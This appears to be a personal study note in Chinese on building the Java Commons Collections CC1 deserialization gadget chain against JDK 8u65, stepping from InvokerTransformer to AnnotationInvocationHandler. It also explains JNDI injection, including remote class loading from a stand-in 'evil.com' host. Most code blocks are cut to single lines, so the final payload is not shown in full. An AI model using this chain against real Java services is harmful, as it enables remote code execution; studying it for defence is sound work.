学习笔记,记录自己学 CC1 链的思路历程,不是教程,有啥问题欢迎交流。
目录
最终目标是什么
攻击者想要执行这条命令:
1 | Runtime.getRuntime().exec("calc"); |
那就有两个问题要想清楚:
- 在反序列化过程中,怎样才能让它自动执行这行代码?
- 不能直接写这句话,因为反序列化时只会调用
readObject()方法
所以第一个问题就变成了:通过什么方法层层调用到 exec() 的?
通过反射调用函数
答案是:通过反射调用函数!
1 | Runtime.class.getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc"); |
这是原本可以正常执行的反射调用。
但是如果随便写一个方法放入这段代码,反序列化的时候不会自动执行。那就必须把它放到一个会自动执行的方法里,比如 readObject()——反序列化时会自动调用它。
所以如果代码这样写:
1 | package org.example; |
是可以成功的。

但实际场景中没地方写代码怎么办
问题来了——如果是一个 Web 应用,根本没地方写代码,没有执行的地方,不可能直接开一个 readObject 的入口给我们写代码。
这就需要借助反序列化入口的服务,比如 JNDI 注入(RMI / LDAP)。
JNDI 注入相当于反序列化攻击的升级版,有两种利用方式:
方式 A:直接传输 Payload(CC 链)
即使 Web 应用没写 readObject,但如果它调用了 InitialContext.lookup("rmi://攻击者IP/Object"):
- 攻击者的 RMI 服务器会把构造好的 CC 链字节流 发给 Web 应用。
- Web 应用的 JNDI 客户端在接收数据时,底层会自动调用
readObject。 - 代码执行。
方式 B:远程类加载
这是 JNDI 注入最经典的地方:
- 攻击者告诉 Web 应用:”你要的对象在
http://evil.com/Exploit.class“。 - Web 应用发现本地找不到这个类,会真的去下载这个
.class文件并加载。 - 这时你确实可以”写代码”了:你写一个带静态代码块的
Exploit.java,编译成.class放服务器上,Web 应用下载运行的那一刻,代码就执行了。
局限性: 这种方式太猛了,所以后来 Java 官方加了限制(通过
com.sun.jndi.rmi.object.trustURLCodebase等配置,默认为false),不允许随便下载远程代码。
Gadget Chain 的由来
如果不能直接下载我们写的类,直接传入自己写的类也会因为找不到这个类而报错。
那么现在的方法就只有:改造源代码里已有类的 readObject 方法,通过精心构造的调用链,把最终的 exec() 调用链起来。
这就是各种 Gadget Chain(利用链) 出现的原因,而 CC 链(Commons Collections)就是其中最经典的一批。
CC1 链构造过程
环境准备
- JDK:8u65(高版本对反射加了限制,CC1 需要低版本)
- 依赖:Commons Collections 3.2.1
1 | <dependencies> |

第一步:找到能执行命令的点 —— InvokerTransformer
首先需要找到一个可以利用反射调用执行的代码。
InvokerTransformer.transform() 可以,它本质就是反射调用任意方法:

把它配置成:
input= Runtime 实例iMethodName="exec"iArgs="calc"
就等于执行了 Runtime.getRuntime().exec("calc")。
并且这些参数都是可控的:

因此现在可以构造:
1 | public static void main(String[] args) { |

成功执行。
第二步:Runtime 不能序列化怎么办
这里有两个问题:
问题一:Runtime.getRuntime() 传入的这个实例怎么来的?
问题二:谁会调用 InvokerTransformer.transform(Runtime.getRuntime())?
先回答问题一:为什么不直接 new ConstantTransformer(Runtime.getRuntime())?
因为 Runtime 不能序列化,直接放进去序列化会报错。所以只能序列化 Runtime.class(Class 对象可以序列化),然后通过反射在运行时再拿到实例。
第三步:谁来串联调用 —— ChainedTransformer
回答问题二:谁来调用 InvokerTransformer.transform(Runtime实例)?

**ChainedTransformer.transform()**——它把每个 Transformer 串起来,上一个的输出自动传给下一个。这刚好弥补了需要多次调用 InvokerTransformer.transform() 才能实现完整反序列化链的问题。
调用顺序如下:
1 | ConstantTransformer(Runtime.class) → 输出 Runtime.class |
构造代码:
1 | Transformer[] transformers = new Transformer[]{ |
效果:

第四步:谁来触发 transform() —— TransformedMap
现在问题变成:谁会调用 chain.transform()?
**TransformedMap**——当 Map 的值被修改时,会自动调用 valueTransformer.transform()。不过它是 protected 类型,不能直接使用,需要找到调用这个方法的入口。

另外还有一个要求:valueTransformer 是可控的,可控的话只要传入 chain 就行。
查找可以传入可控 valueTransformer 的方法:

不过这个也是 protected,不能直接调用,需要找公共的入口方法。
- 第一步:找公开调用
checkSetValue的方法——用 Alt+F7 或右键查找用法,找到setValue:

- 第二步:找公开调用
TransformedMap的方法,找到两个,使用第一个(第二个会使链断掉):

使用 TransformedMap.decorate(map, null, chain) 就能正常传入我们的链条了:
运行时提示

map 值不能为空,构造一个:
1 | Map innerMap = new HashMap(); |
注意:
key和value填什么都行——因为ConstantTransformer第一步就把输入忽略了。不过后面AnnotationInvocationHandler里有条件判断,key必须填"value",后面会讲到。
还差最开始的触发方法,它在两个类的下面:

第五步:找到自动调用 setValue 的地方 —— AnnotationInvocationHandler
右键查找谁调用了 setValue,结果有很多:

最终找到的是 AnnotationInvocationHandler.class 里的 readObject 方法——这就是我们想要的终点,readObject 会被反序列化自动调用,setValue 在其 for 循环里:

但是有判断条件需要满足:
1 | // 条件一:用 key 去注解里查有没有这个方法 |
所以 map 的 key 就是用来查注解方法的,查不到 var7 为 null,整个 if 块跳过,链断掉。@Target 只有 value() 这一个方法,所以 **key 必须填 "value"**。
1 | // 条件二:类型不匹配才会进 if 块 |
var7 是注解方法的返回类型(ElementType[]),var8 是我们 map 里的值。只有类型不匹配,才会进 if 块调 setValue()。我们放字符串 "xxx",显然不是 ElementType[],条件满足。
第六步:构造 AnnotationInvocationHandler
先找到 AnnotationInvocationHandler 的构造方法,看它需要什么参数:


两个参数:
var1:Class<? extends Annotation>,必须是一个注解类var2:Map<String, Object>,就是我们的transformedMap
但是这个类不能直接引用:

所以利用反射调用这个类:
1 | Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); |
这种反射构造的方法很多类都适用,但高版本 JDK 加了限制(
setAccessible会被 Module 系统拦截),这也是 CC1 依赖低版本 JDK 的原因之一。
完整 Payload
加上序列化和反序列化,完整 payload 如下:
1 | public class test { |
效果:

完整调用链总结
1 | 反序列化 |
所以最终我们要序列化的对象就是 AnnotationInvocationHandler,整个 CC1 链(TransformedMap 版)就这样串起来了。
后续还有 LazyMap 版本的 CC1,触发点不同,但 Transformer 链的核心部分是一样的,到时候再对比着看。